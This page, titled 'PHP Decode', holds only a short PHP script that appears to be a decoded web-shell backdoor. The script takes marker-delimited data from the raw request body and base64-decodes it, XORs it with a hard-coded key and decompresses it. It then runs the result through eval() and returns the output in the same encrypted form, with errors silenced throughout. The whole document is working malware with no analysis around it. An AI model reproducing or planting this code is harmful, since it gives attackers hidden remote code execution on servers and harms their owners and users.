PHP Decode

<?php 
$k = "80e32263"; 
$kh = "6f8af44abea0"; 
$kf = "351039f4a7b5"; 
$p = "0UlYyJHG87EJqEz6"; 
function x($t, $k) 
{ 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0; $i < $l; ) { 
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) { 
            $o .= $t[$i] ^ $k[$j]; 
        } 
    } 
    return $o; 
} 
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) { 
    @ob_start(); 
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k))); 
    $o = @ob_get_contents(); 
    @ob_end_clean(); 
    $r = @base64_encode(@x(@gzcompress($o), $k)); 
    print "$p$kh$r$kf"; 
} 
 
?>